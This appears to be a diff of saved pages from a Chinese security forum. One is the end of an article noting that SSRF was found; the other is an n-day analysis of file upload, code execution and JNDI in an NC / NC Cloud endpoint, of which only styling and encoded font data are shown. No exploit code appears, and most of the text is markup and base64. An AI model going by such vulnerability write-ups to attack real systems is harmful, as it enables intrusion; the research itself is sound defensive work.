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 truncated
|
||||
<p>最终也是测出了SSRF</p>
|
||||
<p><a id=img15 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191424-3290fdd2-d498-1.png title><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABN0AAAJnCAYAAACj0yWiAAEAAElEQVR4nOzdd3gVVf7H8ffMvTfJTe8VAiFA6FUBRUVs2HvvbVfdta2uWyzrqrtr31V3XdvP3rAroqJ0RKmCdEJJAgRCes/td35/3FQIRTYI6uf1PHmeuXNnzpw758zMmW/OnDE87kYLERERERERERER6TLmgc6AiIiIiIiIiIjIz419d18WFhSS13/gj5UXERERERERERGRn5SpUyYzbvwxO81XTzcREREREREREZEupqCbiIiIiIiIiIhIF1PQTUREREREREREpIsp6CYiIiIiIiIiItLFFHQTERERERERERHpYgq6iYiIiIiIiIiIdDEF3URERERERERERLqYgm4iIiIiIiIiIiJdTEE3ERERERERERGRLqagm4iIiIiIiIiISBdT0E1ERERERERERKSLKegmIiIiIiIiIiLSxRR0ExERERERERER6WIKuomIiIiIiIiIiHQxBd1ERERERERERES6mIJuIiIiIiIiIiIiXcx+oDMgIiIiP28+vx8ME8MwsIJBAgE/Drsdm812oLP2P/N4vBg2E9MM/RYrGCTg9xMREb5X6weDQWZ8PZ/iRsjqlUfB8oVMGDOYntnd9me2RURERORHoKCbiIiI7Debt27nq6UbiUjOxhkVQ11VOduK1tMrK4XEcIsBudlkpqXscwDOsiw8Xi+Nbj/2sHCCPjfxMVEYhrFX6weDQSwMsCxstj0/AGBZFj6/n6q6Jr5bW8TaLeXEJGeQkJyGYRrUlJextWgdI/tmM7R3NzJSErDbd93cmvvdCkocmcRmx1Pvh5QBhzFz/RYuSEkm0hmx1/tBRERERA4+CrqJiIjIftHQ5GZmQT2JPQe2zotLSiEuKQWARmBhpUX+5x9z4UlHkpkUS0TEDws0rVi7gXmb6knp1gvw4XE1kmXbwlEj+u/V+m999Dm+pL6UbdnANaeOJTkhbpfLWpbF8rUbefPLeYw57jSI60FOXI8OyySmZZCYloEXmF/qx7t8EacfMZSYqMhO0yxxmTjCwN1YT0RUDACxKVl8s3Qlxx9+yF79BhERERE5OGlMNxEREelywWCQB576P0x23+PMMAz6jT6GxaVB3py2hIrq2r3eRnVNLcsrISUrp3VeuDOKUiuO9UXFe5dISl8aKreSO3QMpQ2B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 truncated
|
||||
</div>
|
||||
|
||||
<div class=post-user-action style=margin-top:34px>
|
||||
<span class="btn btn-default pull-right" id=mark data-action=topic data-pk=13866>
|
||||
<span id=mark-text>点击收藏 </span><span class=i-seprator> | </span><span id=mark-count>0</span>
|
||||
</span>
|
||||
|
||||
<span class="btn btn-default pull-right" id=follow_topic data-pk=13866>
|
||||
<span>关注</span><span class=i-seprator> | </span><span id=follow-count>1</span>
|
||||
</span>
|
||||
|
||||
|
||||
<span class="btn btn-default pull-right">
|
||||
<span>
|
||||
|
||||
<span id=ready_reward data-toggle=modal data-target=#myModal>打赏</span>
|
||||
|
||||
</span>
|
||||
</span>
|
||||
|
||||
<div class=clearfix></div>
|
||||
</div>
|
||||
|
||||
<div class=related-section>
|
||||
<div class=related-box>
|
||||
|
||||
<span><a class=pull-left href=https://xz.aliyun.com/t/13864 title=滥用ADCS进行权限提升——ESC13详解><span class=related-label style="padding:3px 4px;margin-right:3px">上一篇:</span>滥用ADCS进行权限提升——ESC...</a></span>
|
||||
|
||||
|
||||
<span><a class=pull-left href=https://xz.aliyun.com/t/13867 title="PB-CMS v1.0.0 代码审计"><span class=related-label>下一篇:</span>PB-CMS v1.0.0 代码审计</a></span>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="modal fade" id=myModal role=dialog aria-labelledby=myModalLabel aria-hidden=true>
|
||||
<div class=modal-dialog>
|
||||
<div class=modal-content>
|
||||
<div class=modal-header>
|
||||
<h4 class=modal-title id=myModalLabel style=text-align:center>
|
||||
积分打赏
|
||||
</h4>
|
||||
</div>
|
||||
<div class=modal-body id=button-value>
|
||||
<div style=text-align:center>
|
||||
<div role=group>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type1>
|
||||
1分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type2>
|
||||
2分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type3>
|
||||
5分
|
||||
</button>
|
||||
</div>
|
||||
<br>
|
||||
<div style=margin-top:20px>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type4>
|
||||
8分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type5>
|
||||
10分
|
||||
</button>
|
||||
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type6>
|
||||
20分
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class=modal-footer id=confirm>
|
||||
<button type=button class="btn btn-default" data-dismiss=modal>关闭</button>
|
||||
<button type=button class="btn btn-primary" id=reward_topic data-pk=13866>确定</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="row box">
|
||||
<ol class=breadcrumb>
|
||||
<li class=active>0 条回复</li>
|
||||
</ol>
|
||||
<div class="box-container post-container">
|
||||
|
||||
<ul>
|
||||
<li style=min-height:50px;line-height:60px;margin-left:15px><strong>动动手指,沙发就是你的了!</strong></li>
|
||||
</ul>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="row box" id=reply-box>
|
||||
|
||||
<div class="box-container clearfix">
|
||||
|
||||
<div class=reminder>
|
||||
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F13866&from_type=xianzhi"><strong>登录</strong></a> 后跟帖
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<footer class=bs-docs-footer>
|
||||
<div class="container text-center">
|
||||
<div class=links>
|
||||
<a href=https://xz.aliyun.com/feed target=_blank>RSS</a>
|
||||
<a href=https://xz.aliyun.com/about target=_blank><span>关于社区</span></a>
|
||||
<a href=https://xz.aliyun.com/partner target=_blank><span>友情链接</span></a>
|
||||
<a href=https://xz.aliyun.com/notice>社区小黑板</a>
|
||||
<a href=https://xz.aliyun.com/connection>联系我们</a>
|
||||
<a href=https://report.aliyun.com/ target=_blank>举报中心</a>
|
||||
<a href=https://www.aliyun.com/complaint target=_blank>我要投诉</a>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
|
||||
|
||||
<div id=waf_nc_block style=display:none></div><div style="padding:0px;margin:3px 3px 20px;background:padding-box padding-box #f8f8ff;border:3px solid rgba(242,242,242,0.6);border-radius:2px;box-shadow:#666666 0px 0px 2px;visibility:visible;display:none;z-index:2147483647;inset:0px auto auto 234px;width:0px;height:0px;position:fixed !important;box-sizing:content-box !important;max-width:none !important;max-height:none !important"></div><img alt draggable=false src=data:, style="padding:5px;background-clip:padding-box;width:38px;height:38px;z-index:2147483647;display:none;inset:auto;margin:0px;transition:background-color .5s ease 0s,opacity .2s ease 0s,top .15s ease-out 0s,left .15s ease-out 0s;border-radius:50% !important;box-shadow:#a6a6a6 0px 0px 5px 1px !important;position:fixed !important;box-sizing:border-box !important;opacity:0">
|
||||
@@ -0,0 +1,380 @@
|
||||
<!DOCTYPE html> <html lang=en style><!--
|
||||
Page saved with SingleFile
|
||||
url: https://xz.aliyun.com/t/14071
|
||||
--><meta charset=utf-8>
|
||||
<title>某通用系统Nday分析(NC及NC CLOUD系统 /lfw/core/rpc 文件上传+代码执行+JNDI)</title>
|
||||
<meta name=description content=先知社区,先知安全技术社区>
|
||||
<meta name=viewport content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no">
|
||||
<style>/*!
|
||||
* Bootstrap v2.3.1
|
||||
*
|
||||
* Copyright 2012 Twitter, Inc
|
||||
* Licensed under the Apache License v2.0
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Designed and built with all the love in the world @twitter by @mdo and @fat.
|
||||
*/.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}footer{display:block}html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}a:hover,a:active{outline:0}img{height:auto;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic}input{margin:0}button{-webkit-appearance:button}body{margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:20px;color:#333}a{text-decoration:none}a:hover,a:focus{color:#005580;text-decoration:underline}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}.container{width:940px}.span10{width:780px}.container{margin-right:auto;margin-left:auto}.container:before,.container:after{display:table;line-height:0;content:""}.container:after{clear:both}p{margin:0 0 10px}strong{font-weight:bold}.text-right{text-align:right}.text-center{text-align:center}h2,h4{margin:10px 0;font-family:inherit;font-weight:bold;line-height:20px;color:inherit;text-rendering:optimizelegibility}h4{font-size:17.5px}ul{padding:0}hr{margin:20px 0;border:0;border-top:1px solid #eee;border-bottom:1px solid #fff}code,pre{color:#333;-webkit-border-radius:3px;-moz-border-radius:3px}pre{display:block;margin:0 0 10px;word-break:break-all;white-space:pre-wrap;border:1px solid rgba(0,0,0,0.15);-webkit-border-radius:4px;-moz-border-radius:4px}pre code{color:inherit}input{font-weight:normal}input{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}input[type="text"]{display:inline-block;padding:4px 6px;margin-bottom:10px;font-size:14px;line-height:20px;vertical-align:middle;-webkit-border-radius:4px;-moz-border-radius:4px}input{width:206px}input[type="text"]{background-color:#fff;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border linear .2s,box-shadow linear .2s;-moz-transition:border linear .2s,box-shadow linear .2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s}textarea:focus,input[type="text"]:focus,input[type="password"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type="time"]:focus,input[type="week"]:focus,input[type="number"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="color"]:focus,.uneditable-input:focus{border-color:rgba(82,168,236,0.8);outline:0;outline:thin dotted \9;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6)}input::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:#999}input{margin-left:0}input:focus:invalid,textarea:focus:invalid,select:focus:invalid{color:#b94a48;border-color:#ee5f5b}input:focus:invalid:focus,textarea:focus:invalid:focus,select:focus:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7}.fade{opacity:0;-webkit-transition:opacity .15s linear;-moz-transition:opacity .15s linear;-o-transition:opacity .15s linear}.collapse{position:relative;-webkit-transition:height .35s ease;-moz-transition:height .35s ease;-o-transition:height .35s ease;transition:height .35s ease}.btn{text-shadow:0 1px 1px rgba(255,255,255,0.75);vertical-align:middle;background-image:-moz-linear-gradient(top,#fff,#e6e6e6);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,#e6e6e6);background-image:-o-linear-gradient(top,#fff,#e6e6e6);background-repeat:repeat-x;border:1px solid #ccc;border-bottom-color:#b3b3b3;-webkit-border-radius:4px;-moz-border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05)}.btn:hover,.btn:focus,.btn:active,.btn.active,.btn.disabled,.btn[disabled]{color:#333;background-color:#e6e6e6;*background-color:#d9d9d9}.btn:active,.btn.active{background-color:#ccc \9}.btn:first-child{*margin-left:0}.btn:hover,.btn:focus{color:#333;text-decoration:none;background-position:0-15px;-webkit-transition:background-position .1s linear;-moz-transition:background-position .1s linear;-o-transition:background-position .1s linear;transition:background-position .1s linear}.btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:insLine truncated
|
||||
<style>/*! Editor.md v1.5.0 | editormd.min.css | Open source online markdown editor. | MIT License | By: Pandao | https://github.com/pandao/editor.md | 2015-06-09 *//*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 */@media only screen and (-webkit-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2){}@media only screen and (-webkit-min-device-pixel-ratio:3),only screen and (min-device-pixel-ratio:3){}/*! prefixes.scss v0.1.0 | Author: Pandao | https://github.com/pandao/prefixes.scss | MIT license | Copyright (c) 2015 *//*!
|
||||
* Font Awesome 4.3.0 by @davegandy - http://fontawesome.io - @fontawesome
|
||||
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
|
||||
*/@font-face{font-family:FontAwesome;src:url(data:font/woff2;base64,d09GMgABAAAAAN3MAA4AAAAB3OQAAN1sAAQAxQAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cGh4GYACFQhEICobjZIW0WgE2AiQDkSoLiFwABCAFhwAHqx4/d2ViZgZbBYBxhnF7IVHRnVDqt/fSG4cZBbodREHF77duhex8Mb6j/fmp2f///78gWYzh7g+8R0BUdTpLW1Uzsp76hCzI4aYUR8pes2MocNQ2YvKKbApmLWu/bv7ALkc1B+aeVCsz1YrjaYsVnkxwJujIZWwn5gjVfIgmhc3in0QhmV5maXZNM1xTKb1RmAdM/OaNTl/mtoIrW/khyLhT5xe7bVH4fZGXVpFvuchr9JDG3Mcoh7mswgQxQVK8XUETf1CxbfHOtB+kxeznYk7Tc0VQvAs3ZHw4fkX+eKbZae3Ga4yTuqW4ivdfEynv1GrGUEu4OnTzzcjOrvA9euKJJn93ZAnl2I4SDS0d71OE52stez2NiwEECTzlA0CWsDwIHxnjUh747oQ+4/cPz8+ttyIXzTZiY4wxosaI3F8QvVEho0JSWt0kWiUlDEAMbFRUsJgZKGcUGHVmnTf/P6e9Zz8P5jE8wRUMwwiRViAUd39KoXMKlV2UsWpdN25qBwAP0n35Mpmf+bvg9ZtKfIuWauEin8QFPnQhqjHdubkgORdjw60F1Hm3BRSOpS8r3c6XU/9/JMdJqrGKafqQYMBQSgy6BEkN2ozu0jp/p5EMSdFJDElKASzB5dwOFDbt5x1Rt2WVqTHYdx+5Xp9Ufm9KBtkmlgURoo8tj////Z9a0ixLyWLsAGIB+Eoqp6lnC5QCOfox/PnFQ4BJkcOC2NkzE2qySKkd7EB0X2SssjuTJ374/zn7zhne2jm7fiUkyEiwBGin9SnjfqWFGqXyrNPtdoTk/iS7nvwSR9pOTPBCIAlSpUo50teOPKprzxRrm9+ChuQfqzJE8Bbl26JpGFbqfrX84LxQBx3aIebKK51pt3LCe3dPaIcrAGrDFXAd7qR